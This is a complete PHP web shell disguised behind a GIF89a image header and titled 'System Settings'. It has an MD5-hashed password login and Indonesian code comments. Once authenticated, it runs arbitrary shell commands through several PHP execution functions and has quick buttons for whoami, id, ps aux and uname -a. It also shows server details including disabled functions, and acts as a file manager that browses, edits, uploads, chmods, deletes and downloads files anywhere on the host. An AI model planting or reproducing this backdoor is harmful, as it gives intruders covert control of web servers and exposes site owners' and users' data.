Your IP : 216.73.216.65
GIF89a
<?=(function(){
@error_reporting(0);
@session_start();
define('APP_TITLE', 'System Settings');
define('PASSWORD_HASH', 'ad587d0296de0c034d902877ec0aa2ca');
// --- Helper Functions ---
function get_session($name) {
return isset($_SESSION[$name]) ? $_SESSION[$name] : false;
}
function set_session($name, $val) {
$_SESSION[$name] = $val;
}
function get_post($name) {
return isset($_POST[$name]) ? $_POST[$name] : false;
}
function get_get($name) {
return isset($_GET[$name]) ? $_GET[$name] : false;
}
function get_files($name) {
return isset($_FILES[$name]) ? $_FILES[$name] : false;
}
function redirect($url) {
header("Location: $url");
exit();
}
function get_self() {
return strtok($_SERVER['REQUEST_URI'], '?');
}
function check_authentication() {
if (isset($_POST['login'])) {
$submitted_pass = get_post('pass');
if ($submitted_pass && md5($submitted_pass) === PASSWORD_HASH) {
set_session('authenticated', true);
redirect(get_self());
} else {
set_session('login_error', true);
redirect(get_self());
}
}
}
function filesize_convert($bytes) {
$label = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
for ($i = 0; $bytes >= 1024 && $i < (count($label) - 1); $bytes /= 1024, $i++);
return (round($bytes, 2) . " " . $label[$i]);
}
function execute_command($cmd, $current_path) {
$output = '';
$original_dir = getcwd();
chdir($current_path);
if (function_exists('shell_exec')) {
$output = shell_exec($cmd . ' 2>&1');
} elseif (function_exists('exec')) {
exec($cmd . ' 2>&1', $output);
$output = implode("\n", $output);
} elseif (function_exists('system')) {
ob_start();
system($cmd . ' 2>&1');
$output = ob_get_clean();
} elseif (function_exists('passthru')) {
ob_start();
passthru($cmd . ' 2>&1');
$output = ob_get_clean();
} elseif (function_exists('proc_open')) {
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($cmd, $descriptorspec, $pipes);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
}
}
chdir($original_dir);
return $output ?: 'No output or command execution disabled';
}
function get_system_info() {
$info = [];
$info[] = "PHP Version: " . PHP_VERSION;
$info[] = "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'N/A');
$info[] = "Server IP: " . ($_SERVER['SERVER_ADDR'] ?? $_SERVER['HTTP_HOST'] ?? 'N/A');
$info[] = "OS: " . PHP_OS;
$info[] = "User: " . (function_exists('get_current_user') ? get_current_user() : 'Unknown');
$info[] = "Memory Limit: " . ini_get('memory_limit');
$info[] = "Max Execution Time: " . ini_get('max_execution_time');
$disabled = ini_get('disable_functions');
$info[] = "Disabled Functions: " . ($disabled ?: 'None');
// Check safe mode
$info[] = "Safe Mode: " . (ini_get('safe_mode') ? 'On' : 'Off');
return implode("\n", $info);
}
// --- Core Logic Functions ---
function get_path() {
$path = defined('START_PATH') ? START_PATH : __DIR__;
$requested_path = get_get('path');
if ($requested_path) {
$real_path = realpath($requested_path);
if ($real_path !== false) {
$path = $real_path;
}
}
return str_replace('\\', '/', $path);
}
function get_dir_list($path) {
if (!is_dir($path) || !is_readable($path)) return array();
$dir = scandir($path);
$files = array();
// Separate files and directories for custom sorting
$dirs = [];
$files_list = [];
foreach ($dir as $d) {
if ($d == '.') continue;
$p = $path . '/' . $d;
$is_file = is_file($p);
// Get owner safely
$owner = fileowner($p);
if (function_exists('posix_getpwuid')) {
$owner_info = posix_getpwuid($owner);
$owner = isset($owner_info['name']) ? $owner_info['name'] : $owner;
}
$item = array(
'name' => $d,
'path' => $p,
'is_dir' => is_dir($p),
'is_file' => $is_file,
'size' => $is_file ? filesize_convert(filesize($p)) : '--',
'modified' => date("M d Y H:i:s", filemtime($p)),
'perms' => substr(sprintf('%o', fileperms($p)), -4),
'owner' => $owner,
);
// Categorize items
if ($d == '..') {
// Parent directory always first
array_unshift($files, $item);
} elseif ($is_file) {
$files_list[] = $item;
} else {
$dirs[] = $item;
}
}
// Sort directories and files alphabetically (case-insensitive)
usort($dirs, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files_list, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
// Combine all categories in the desired order: .., then dirs, then files
$files = array_merge($files, $dirs, $files_list);
return $files;
}
function save_file($path, $content) {
if (is_file($path) && is_writable($path)) {
return file_put_contents($path, $content) !== false;
}
return false;
}
function upload_file($path, $file) {
if (!$file || $file['error'] !== UPLOAD_ERR_OK) return false;
$name = basename($file['name']);
$target_path = $path . '/' . $name;
if (!file_exists($target_path)) {
return move_uploaded_file($file["tmp_name"], $target_path);
}
return false;
}
function rename_item($old_path, $new_name) {
$new_name = trim($new_name);
if (empty($new_name)) {
return false;
}
$new_name = basename($new_name);
$dir = dirname($old_path);
$new_path = $dir . '/' . $new_name;
$old_path = str_replace('\\', '/', $old_path);
$new_path = str_replace('\\', '/', $new_path);
if (!file_exists($old_path)) {
return false;
}
if (basename($old_path) === $new_name) {
return true;
}
if (file_exists($new_path)) {
return false;
}
if (!is_writable($dir)) {
return false;
}
return @rename($old_path, $new_path);
}
// --- View Functions ---
function render_header($is_login = false) {
$body_class = $is_login ? 'login-page' : '';
echo '<!DOCTYPE html><html><head><title>'.APP_TITLE.'</title><style>
body{font-family:sans-serif;background:#f0f2f5;color:#333;margin:0;}
table{border-collapse:collapse;width:100%;}
th,td{padding:8px;text-align:left;border-bottom:1px solid #ddd;}
tr:hover{background:#f1f1f1;}
a{color:#007bff;text-decoration:none;}a:hover{text-decoration:underline;}
.container{width:95%;margin:auto;background:white;padding:20px;box-shadow:0 4px 8px rgba(0,0,0,0.1);border-radius:8px;margin-top:30px;margin-bottom:30px;}
.message{padding:15px;margin-bottom:20px;border-radius:5px;font-size:16px;}
.msg-success{background:#d4edda;color:#155724;border:1px solid #c3e6cb;}
.msg-error{background:#f8d7da;color:#721c24;border:1px solid #f5c6cb;}
.msg-info{background:#d1ecf1;color:#0c5460;border:1px solid #bee5eb;}
.actions a{margin-right:10px;}
.tab-content{display:none;padding:20px;border:1px solid #ddd;border-top:none;}
.tab-content.active{display:block;}
.tab-button{background:#007bff;color:white;border:none;padding:10px 20px;cursor:pointer;margin-right:5px;}
.tab-button.active{background:#0056b3;}
.command-output{background:#1e1e1e;color:#00ff00;padding:15px;border-radius:5px;font-family:monospace;max-height:400px;overflow-y:auto;white-space:pre-wrap;}
body.login-page{display:flex;justify-content:center;align-items:center;height:100vh;}
.login-box{background:white;padding:40px;border-radius:8px;box-shadow:0 4px 15px rgba(0,0,0,0.2);width:320px;text-align:center;}
.login-box h2{margin-bottom:20px;color:#333;}
.login-box input[type="password"]{width:100%;padding:12px;margin-bottom:20px;border:1px solid #ccc;border-radius:4px;box-sizing:border-box;font-size:16px;}
.login-box input[type="submit"]{width:100%;padding:12px;border:none;border-radius:4px;background:#007bff;color:white;font-size:16px;cursor:pointer;transition:background 0.3s;}
.login-box input[type="submit"]:hover{background:#0056b3;}
.rename-form{display:inline-block;}
.rename-form input{width:150px;padding:3px;margin-right:5px;}
.rename-form button{padding:3px 8px;margin-right:5px;}
.tool-grid{display:grid;grid-template-columns:repeat(auto-fit, minmax(300px, 1fr));gap:20px;margin:20px 0;}
.tool-box{background:#f8f9fa;padding:15px;border-radius:8px;border:1px solid #dee2e6;}
.current-path{background:#e9ecef;padding:10px;border-radius:5px;margin:10px 0;font-family:monospace;}
.cmd-form{display:flex;gap:10px;margin-bottom:15px;}
.cmd-input{flex:1;padding:8px;border:1px solid #ccc;border-radius:4px;}
.cmd-button{padding:8px 15px;background:#007bff;color:white;border:none;border-radius:4px;cursor:pointer;}
.quick-cmd-buttons{display:flex;flex-wrap:wrap;gap:5px;margin:10px 0;}
.quick-cmd-btn{padding:5px 10px;background:#28a745;color:white;border:none;border-radius:3px;cursor:pointer;font-size:12px;}
</style></head><body class="'.$body_class.'">';
if (!$is_login) {
echo '<div class="container"><h1>'.APP_TITLE.' 🚀</h1>';
}
}
function render_footer($is_login = false) {
if (!$is_login) {
echo '</div>';
}
echo '<script>
function showTab(tabName) {
document.querySelectorAll(".tab-content").forEach(tab => tab.classList.remove("active"));
document.querySelectorAll(".tab-button").forEach(btn => btn.classList.remove("active"));
document.getElementById(tabName).classList.add("active");
event.target.classList.add("active");
}
function executeCustomCommand() {
const cmd = document.getElementById("custom-cmd").value;
const outputDiv = document.getElementById("command-output");
const currentPath = "'.$current_path = get_path().'";
outputDiv.innerHTML = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\nWorking...";
const formData = new FormData();
formData.append("action", "execute_command");
formData.append("command", cmd);
formData.append("current_path", currentPath);
fetch("", {method: "POST", body: formData})
.then(r => r.json())
.then(data => {
outputDiv.innerHTML = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\n" + (data.output || "No output");
})
.catch(err => {
outputDiv.innerHTML = "Error: " + err;
});
}
function runQuickCommand(cmd) {
const outputDiv = document.getElementById("command-output");
const currentPath = "'.$current_path = get_path().'";
outputDiv.innerHTML = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\nWorking...";
const formData = new FormData();
formData.append("action", "execute_command");
formData.append("command", cmd);
formData.append("current_path", currentPath);
fetch("", {method: "POST", body: formData})
.then(r => r.json())
.then(data => {
outputDiv.innerHTML = "Executing in: " + currentPath + "\\n> " + cmd + "\\n\\n" + (data.output || "No output");
});
}
</script></body></html>';
}
function render_login($error = false) {
render_header(true);
echo '<div class="login-box">';
echo '<h2>'.APP_TITLE.'</h2>';
if($error) echo "<div class='message msg-error'>Password Salah, Coba Lagi!</div>";
echo '<form method="POST"><input type="password" name="pass" placeholder="Password" required autofocus> <input type="submit" name="login" value="Login"></form>';
echo '</div>';
render_footer(true);
}
function render_editor($path, $content) {
render_header();
echo '<div id="status-message" style="margin-bottom: 15px;"></div>';
echo '<h2>Edit File: '.basename($path).'</h2>';
echo '<form id="editor-form" onsubmit="saveFile(); return false;">';
echo '<input type="hidden" id="file-path" value="'.htmlspecialchars($path).'">';
echo '<textarea id="file-content" style="width:100%;height:400px;">'.htmlentities($content).'</textarea><br><br>';
echo '<button type="submit">Save Changes</button>';
echo ' <a href="?path='.urlencode(dirname($path)).'">Back to Manager</a>';
echo <<<JS
<script>
function saveFile() {
const path = document.getElementById('file-path').value;
const content = document.getElementById('file-content').value;
const statusDiv = document.getElementById('status-message');
statusDiv.className = 'message';
statusDiv.innerText = 'Saving...';
const formData = new FormData();
formData.append('action', 'save_ajax');
formData.append('path', path);
formData.append('content', content);
fetch(window.location.href, {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
statusDiv.innerText = data.message;
statusDiv.className = 'message ' + (data.status === 'success' ? 'msg-success' : 'msg-error');
})
.catch(error => {
console.error('Error:', error);
statusDiv.innerText = 'An unexpected error occurred. Check console for details.';
statusDiv.className = 'message msg-error';
});
}
</script>
JS;
render_footer();
}
function render_breadcrumbs($path) {
$path = str_replace('\\', '/', $path);
$parts = explode('/', trim($path, '/'));
$built_path = '';
echo '<h3 style="margin-bottom: 15px;">Path: ';
echo '<a href="?path=/">/</a>';
foreach ($parts as $part) {
if (empty($part)) continue;
$built_path .= '/' . $part;
echo '<a href="?path=' . urlencode($built_path) . '">' . htmlspecialchars($part) . '</a>/';
}
echo '</h3>';
}
// --- NEW: Advanced Tools Panel ---
function render_advanced_tools($current_path) {
echo '<button class="tab-button active" onclick="showTab(\'file-manager\')">📁 File Manager</button>';
echo '<button class="tab-button" onclick="showTab(\'system-tools\')">⚡ System Tools</button>';
echo '<div id="system-tools" class="tab-content">';
echo '<h3>⚡ System Information & Commands</h3>';
// Current path display
echo '<div class="current-path">📍 Current Directory: ' . htmlspecialchars($current_path) . '</div>';
echo '<div class="tool-grid">';
// System Info
echo '<div class="tool-box">';
echo '<h4>📊 System Info</h4>';
echo '<div class="command-output">'.htmlspecialchars(get_system_info()).'</div>';
echo '</div>';
// Command Execution
echo '<div class="tool-box">';
echo '<h4>💻 Command Execution</h4>';
echo '<div class="cmd-form">';
echo '<input type="text" id="custom-cmd" class="cmd-input" placeholder="Enter command">';
echo '<button class="cmd-button" onclick="executeCustomCommand()">Execute</button>';
echo '</div>';
echo '<div class="quick-cmd-buttons">';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'pwd\')">pwd</button>';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ls -la\')">ls -la</button>';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'whoami\')">whoami</button>';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'id\')">id</button>';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'uname -a\')">uname -a</button>';
echo '<button class="quick-cmd-btn" onclick="runQuickCommand(\'ps aux\')">ps aux</button>';
echo '</div>';
echo '<div class="command-output" id="command-output" style="margin-top:10px;">Output will appear here...</div>';
echo '</div>';
echo '</div>';
echo '</div>';
}
function render_file_manager($path, $dir_list, $message = '') {
render_header();
// Save current path to session for system tools
set_session('current_path', $path);
// Advanced Tools Tabs
render_advanced_tools($path);
// File Manager Tab (default active)
echo '<div id="file-manager" class="tab-content active">';
if ($message) {
$msg_type = strpos(strtolower($message), 'error') === false ? 'msg-success' : 'msg-error';
echo "<div class='message $msg_type'>".htmlspecialchars(urldecode($message))."</div>";
}
// Breadcrumbs & Back
render_breadcrumbs($path);
$parent_path = dirname($path);
if ($parent_path != $path) {
echo '<a href="?path='.urlencode($parent_path).'">[← Back]</a> ';
}
echo '<a href="'.get_self().'">[Home]</a> ';
// Action Forms
echo '<hr><h4>File Operations</h4>';
echo '<div style="display:flex; flex-wrap: wrap; gap: 20px; align-items: flex-end;">';
echo '<form method="POST"><label>New File:</label><br><input type="text" name="filename"><input type="submit" name="newfile" value="Create"></form>';
echo '<form method="POST"><label>New Dir:</label><br><input type="text" name="dirname"><input type="submit" name="newdir" value="Create"></form>';
echo '<form id="upload-form"><label>Upload File:</label><br><input type="file" id="file-input"><input type="submit" value="Upload"></form>';
echo '</div>';
// Progress bar and status
echo '<div id="upload-status" style="margin-top: 15px; font-weight: bold;"></div>';
echo '<div style="width: 100%; background-color: #ddd; border-radius: 5px; margin-top: 5px; display: none;" id="upload-progress-container"><div id="upload-progress" style="width: 0%; height: 24px; background-color: #4CAF50; text-align: center; color: white; border-radius: 5px; line-height: 24px;"></div></div>';
echo '<hr>';
// File Listing
echo '<table><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Owner</th><th>Actions</th></tr></thead><tbody>';
foreach ($dir_list as $item) {
echo '<tr>';
$link = $item['is_dir']
? '?path='.urlencode($item['path'])
: '?edit='.urlencode($item['path']);
echo '<td><a href="'.$link.'">'.($item['is_dir'] ? '📁' : '📄').' '.htmlspecialchars($item['name']).'</a></td>';
echo '<td>'.$item['size'].'</td>';
echo '<td>'.$item['modified'].'</td>';
echo '<td>'.$item['perms'].'</td>';
echo '<td>'.$item['owner'].'</td>';
echo '<td class="actions" id="actions-'.md5($item['path']).'">';
if ($item['name'] != '..') {
if ($item['is_file']) echo '<a href="?edit='.urlencode($item['path']).'">Edit</a> ';
echo '<a href="#" onclick="showRenameForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['name']).'\', \''.md5($item['path']).'\'); return false;">Rename</a> ';
echo '<a href="#" onclick="showChmodForm(\''.htmlspecialchars($item['path']).'\', \''.htmlspecialchars($item['perms']).'\', \''.md5($item['path']).'\'); return false;">Chmod</a> ';
echo '<a href="?delete='.urlencode($item['path']).'" onclick="return confirm(\'Are you sure?\');">Delete</a> ';
if ($item['is_file']) echo '<a href="?download='.urlencode($item['path']).'">Download</a>';
}
echo '</td>';
echo '</tr>';
}
echo '</tbody></table>';
echo '</div>'; // Close file-manager tab
echo <<<JS
<script>
function showRenameForm(path, name, elementId) {
const actionsCell = document.getElementById('actions-' + elementId);
const originalContent = actionsCell.innerHTML;
const form = document.createElement('form');
form.className = 'rename-form';
form.method = 'POST';
form.onsubmit = function() {
if (!this.newname.value.trim()) {
alert('Please enter a new name');
return false;
}
return true;
};
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'rename';
input.value = path;
form.appendChild(input);
const nameInput = document.createElement('input');
nameInput.type = 'text';
nameInput.name = 'newname';
nameInput.value = name;
form.appendChild(nameInput);
const submit = document.createElement('button');
submit.type = 'submit';
submit.textContent = 'Save';
form.appendChild(submit);
const cancel = document.createElement('button');
cancel.type = 'button';
cancel.textContent = 'Cancel';
cancel.onclick = function() {
actionsCell.innerHTML = originalContent;
};
form.appendChild(cancel);
actionsCell.innerHTML = '';
actionsCell.appendChild(form);
nameInput.focus();
nameInput.select();
}
function showChmodForm(path, perms, elementId) {
const actionsCell = document.getElementById('actions-' + elementId);
const originalContent = actionsCell.innerHTML;
const form = document.createElement('form');
form.className = 'rename-form';
form.method = 'POST';
const input = document.createElement('input');
input.type = 'hidden';
input.name = 'chmod';
input.value = path;
form.appendChild(input);
const permInput = document.createElement('input');
permInput.type = 'text';
permInput.name = 'mode';
permInput.value = perms;
permInput.size = 4;
form.appendChild(permInput);
const submit = document.createElement('button');
submit.type = 'submit';
submit.textContent = 'Set';
form.appendChild(submit);
const cancel = document.createElement('button');
cancel.type = 'button';
cancel.textContent = 'Cancel';
cancel.onclick = function() {
actionsCell.innerHTML = originalContent;
};
form.appendChild(cancel);
actionsCell.innerHTML = '';
actionsCell.appendChild(form);
permInput.focus();
permInput.select();
}
const uploadForm = document.getElementById('upload-form');
const fileInput = document.getElementById('file-input');
const uploadStatus = document.getElementById('upload-status');
const progressBar = document.getElementById('upload-progress');
const progressContainer = document.getElementById('upload-progress-container');
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
const file = fileInput.files[0];
if (!file) {
uploadStatus.innerText = 'Please select a file to upload.';
return;
}
progressContainer.style.display = 'block';
const CHUNK_SIZE = 1024 * 1024;
const totalChunks = Math.ceil(file.size / CHUNK_SIZE);
let currentChunk = 0;
function uploadChunk() {
if (currentChunk >= totalChunks) {
return;
}
const start = currentChunk * CHUNK_SIZE;
const end = Math.min(start + CHUNK_SIZE, file.size);
const chunk = file.slice(start, end);
const formData = new FormData();
formData.append('action', 'upload_chunk');
formData.append('chunk', chunk, file.name);
formData.append('chunk_num', currentChunk);
formData.append('total_chunks', totalChunks);
formData.append('filename', file.name);
fetch('', {
method: 'POST',
body: formData
})
.then(response => response.json())
.then(data => {
if (data.status === 'error') {
uploadStatus.innerText = 'Error: ' + data.message;
progressBar.style.backgroundColor = '#f44336';
return;
}
currentChunk++;
const progress = Math.round((currentChunk / totalChunks) * 100);
progressBar.style.width = progress + '%';
progressBar.innerText = progress + '%';
if (data.status === 'success') {
uploadStatus.innerText = data.message;
progressBar.style.backgroundColor = '#4CAF50';
setTimeout(() => window.location.reload(), 1500);
} else {
uploadStatus.innerText = data.message;
uploadChunk();
}
})
.catch(error => {
console.error('Upload error:', error);
uploadStatus.innerText = 'A critical error occurred during upload.';
progressBar.style.backgroundColor = '#f44336';
});
}
uploadStatus.innerText = 'Starting upload for ' + file.name + '...';
progressBar.style.width = '0%';
progressBar.innerText = '0%';
progressBar.style.backgroundColor = '#4CAF50';
uploadChunk();
});
</script>
JS;
render_footer();
}
// --- Main Controller ---
// --- MODIFIKASI 3: CEK AUTENTIKASI DI AWAL ---
// Jalankan fungsi pengecekan login
check_authentication();
// Jika session 'authenticated' tidak ada atau false, tampilkan form login
if (!get_session('authenticated')) {
// Ambil status error dari session (jika ada)
$error = get_session('login_error');
// Hapus status error dari session agar tidak muncul lagi saat refresh
set_session('login_error', false);
render_login($error);
exit(); // Hentikan eksekusi script
}
// --- HAPUS BARIS BYPASS ---
// Baris ini sudah dihapus: set_session('login', true);
// Initialize
$path = get_path();
$message = isset($_GET['msg']) ? $_GET['msg'] : '';
// Handle Actions
$redirect_path = '?path='.urlencode($path);
// -- NEW: Advanced AJAX Actions --
if (get_post('action') === 'execute_command') {
header('Content-Type: application/json');
$cmd = get_post('command');
$current_path = get_post('current_path') ?: $path;
if ($cmd) {
$output = execute_command($cmd, $current_path);
echo json_encode(['output' => $output]);
} else {
echo json_encode(['output' => 'No command provided']);
}
exit;
}
// -- Existing AJAX Actions (keep these) --
if (get_post('action') === 'save_ajax') {
header('Content-Type: application/json');
$edit_path = ($p = get_post('path')) ? $p : '';
$content = isset($_POST['content']) ? $_POST['content'] : '';
if (!is_file($edit_path) || !is_writable($edit_path)) {
echo json_encode(['status' => 'error', 'message' => 'Error: File not found or not writable.']);
exit;
}
if (save_file($edit_path, $content)) {
echo json_encode(['status' => 'success', 'message' => 'File saved successfully! (' . date('H:i:s') . ')']);
} else {
echo json_encode(['status' => 'error', 'message' => 'Error: Could not save file. Check permissions.']);
}
exit;
}
if (get_post('action') === 'upload_chunk') {
header('Content-Type: application/json');
$file = get_files('chunk');
$chunk_num = get_post('chunk_num');
$total_chunks = get_post('total_chunks');
$filename = get_post('filename');
if (!$file || $chunk_num === false || $total_chunks === false || !$filename) {
echo json_encode(['status' => 'error', 'message' => 'Invalid chunk upload request.']);
exit;
}
$temp_filename = $filename . '.part';
$temp_filepath = $path . '/' . $temp_filename;
$chunk_content = file_get_contents($file['tmp_name']);
if ($chunk_content === false) {
echo json_encode(['status' => 'error', 'message' => 'Could not read chunk data.']);
exit;
}
if (file_put_contents($temp_filepath, $chunk_content, FILE_APPEND) === false) {
echo json_encode(['status' => 'error', 'message' => 'Could not write to .part file. Check permissions.']);
exit;
}
if ((int)$chunk_num === (int)$total_chunks - 1) {
$final_filepath = $path . '/' . $filename;
if (file_exists($final_filepath)) {
unlink($temp_filepath);
echo json_encode(['status' => 'error', 'message' => 'Error: File with this name already exists.']);
} else {
if (rename($temp_filepath, $final_filepath)) {
echo json_encode(['status' => 'success', 'message' => 'File uploaded successfully! Reloading...']);
} else {
unlink($temp_filepath);
echo json_encode(['status' => 'error', 'message' => 'Could not finalize file.']);
}
}
} else {
echo json_encode(['status' => 'chunk_received', 'message' => "Chunk " . ((int)$chunk_num + 1) . " of $total_chunks received..."]);
}
exit;
}
// -- Existing Write Actions (keep these) --
if (get_post('newfile') && ($filename = get_post('filename'))) {
$new_path = $path . '/' . basename($filename);
if (!file_exists($new_path)) {
touch($new_path);
$message = "File created: " . $filename;
} else {
$message = "Error: File already exists.";
}
redirect($redirect_path . '&msg='.urlencode($message));
}
if (get_post('newdir') && ($dirname = get_post('dirname'))) {
$new_path = $path . '/' . basename($dirname);
if (!file_exists($new_path)) {
mkdir($new_path);
$message = "Directory created: " . $dirname;
} else {
$message = "Error: Directory already exists.";
}
redirect($redirect_path . '&msg='.urlencode($message));
}
if ($chmod_path = get_post('chmod')) {
$mode = get_post('mode');
if ($mode) {
if (preg_match('/^[0-7]{3,4}$/', $mode)) {
if (@chmod($chmod_path, octdec($mode))) {
$message = "Permissions changed for " . basename($chmod_path) . " to " . $mode;
} else {
$message = "Error: Could not change permissions.";
}
} else {
$message = "Error: Invalid permission mode.";
}
} else {
$message = "Error: Mode is empty.";
}
redirect($redirect_path . '&msg='.urlencode($message));
}
if ($rename_path = get_post('rename')) {
$new_name = get_post('newname');
if ($new_name) {
$rename_path = str_replace('\\', '/', $rename_path);
if (rename_item($rename_path, $new_name)) {
$message = "Renamed successfully";
} else {
$old_name = basename($rename_path);
$dir = dirname($rename_path);
$new_path = $dir . '/' . basename($new_name);
$error_msg = "Error: Could not rename. ";
if (!file_exists($rename_path)) {
$error_msg .= "Source file does not exist. (Path: $rename_path) ";
}
if (file_exists($new_path)) {
$error_msg .= "Target file already exists. ";
}
if (!is_writable($dir)) {
$error_msg .= "Directory is not writable. ";
}
if ($old_name === basename($new_name)) {
$error_msg .= "New name is the same as old name. ";
}
$message = $error_msg;
}
} else {
$message = "Error: New name is empty.";
}
redirect($redirect_path . '&msg='.urlencode($message));
}
if ($delete_path = get_get('delete')) {
$is_dir = is_dir($delete_path);
$parent_path = '?path='.urlencode(dirname($delete_path));
if ($is_dir ? rmdir($delete_path) : unlink($delete_path)) {
$message = "Deleted: " . basename($delete_path);
} else {
$message = "Error: Could not delete.";
}
redirect($parent_path . '&msg='.urlencode($message));
}
// -- View/Edit Actions --
if ($edit_path = get_get('edit')) {
if (!is_file($edit_path) || !is_readable($edit_path)) {
redirect('?path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
}
render_editor($edit_path, file_get_contents($edit_path));
exit;
}
if ($dl_path = get_get('download')) {
if (is_file($dl_path) && is_readable($dl_path)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($dl_path).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($dl_path));
readfile($dl_path);
exit;
} else {
redirect('?path='.urlencode($path).'&msg='.urlencode('Error: File not found.'));
}
}
// Default View (File Manager)
$dir_list = get_dir_list($path);
render_file_manager($path, $dir_list, $message);
return '';
})();